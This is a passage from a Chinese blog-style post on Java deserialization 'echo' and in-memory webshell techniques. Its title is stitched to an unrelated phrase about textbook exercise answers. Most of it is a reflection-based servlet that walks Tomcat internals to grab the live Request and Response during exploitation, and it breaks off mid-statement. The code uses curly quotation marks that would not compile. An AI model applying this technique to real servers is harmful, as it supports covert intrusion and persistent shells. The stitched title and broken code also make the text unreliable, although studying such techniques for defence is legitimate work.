Java安全之反序列化回显与内存码，java程序设计项目化教程课后题答案

所以获取request的处理请求是

Connector—>AbstractProtocol$ConnectoinHandler—>global—>RequestInfo—>Request—>Response

而在Tomcat启动过程红会将Connector放入Service中。

而现在获取完成的流程是

StandardService—>Connector—>AbstractProtocol$ConnectoinHandler—>RequestGroupInfo(global)–>RequestInfo------->Request-------->Response

那么这时候如何获取StandardService成为了问题的一大关键。

文中给出的方法是从

Thread.currentThread.getContextClassLoader()里面获取webappClassLoaderBase，再获取上下文中的 StandardService。

最后调用链为

WebappClassLoaderBase —>

ApplicationContext(getResources().getContext()) —> StandardService—>Connector—>AbstractProtocol$ConnectoinHandler—>RequestGroupInfo(global)—>RequestInfo------->Request-------->Response

package com;

import org.apache.catalina.Context;

import org.apache.catalina.Service;

import org.apache.catalina.connector.Connector;

import org.apache.catalina.core.ApplicationContext;

import org.apache.catalina.core.StandardContext;

import org.apache.catalina.core.StandardService;

import org.apache.coyote.AbstractProtocol;

import org.apache.coyote.RequestGroupInfo;

import org.apache.coyote.RequestInfo;

import org.apache.coyote.Response;

import javax.servlet.ServletContext;

import javax.servlet.ServletException;

import javax.servlet.annotation.WebServlet;

import javax.servlet.http.HttpServlet;

import javax.servlet.http.HttpServletRequest;

import javax.servlet.http.HttpServletResponse;

import java.io.IOException;

import java.lang.reflect.Constructor;

import java.lang.reflect.Field;

import java.lang.reflect.InvocationTargetException;

import java.lang.reflect.Modifier;

import java.util.ArrayList;

@WebServlet("/demoServlet")

public class demoServlet extends HttpServlet {

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();

StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

try {

Field context = Class.forName(“org.apache.catalina.core.StandardContext”).getDeclaredField(“context”);

context.setAccessible(true);

ApplicationContext ApplicationContext = (ApplicationContext)context.get(standardContext);

Field service = Class.forName(“org.apache.catalina.core.ApplicationContext”).getDeclaredField(“service”);

service.setAccessible(true);

StandardService standardService = (StandardService)service.get(ApplicationContext);

Field connectors = Class.forName(“org.apache.catalina.core.StandardService”).getDeclaredField(“connectors”);

connectors.setAccessible(true);

Connector[] connector = (Connector[])connectors.get(standardService);

Field protocolHandler = Class.forName(“org.apache.catalina.connector.Connector”).getDeclaredField(“protocolHandler”);

protocolHandler.setAccessible(true);

// AbstractProtocol abstractProtocol = (AbstractProtocol)protocolHandler.get(connector[0]);

Class<?>[] AbstractProtocol_list = Class.forName(“org.apache.coyote.AbstractProtocol”).getDeclaredClasses();

for (Class<?> aClass : AbstractProtocol_list) {

if (aClass.getName().length()==52){

java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod(“getHandler”,null);

getHandlerMethod.setAccessible(true);

Field globalField = aClass.getDeclaredField(“global”);

globalField.setAccessible(true);

org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(connector[0].getProtocolHandler(), null));

Field processors = Class.forName(“org.apache.coyote.RequestGroupInfo”).getDeclaredField(“processors”);

processors.setAccessible(true);

java.util.List RequestInfo_list = (java.util.List) processors.get(requestGroupInfo);

Field req = Class.forName(“org.apache.coyote.RequestInfo”).getDeclaredField(“req”);

req.setAccessible(true);

for (RequestInfo requestInfo : RequestInfo_list) {

org.apache.coyote.Request request1 =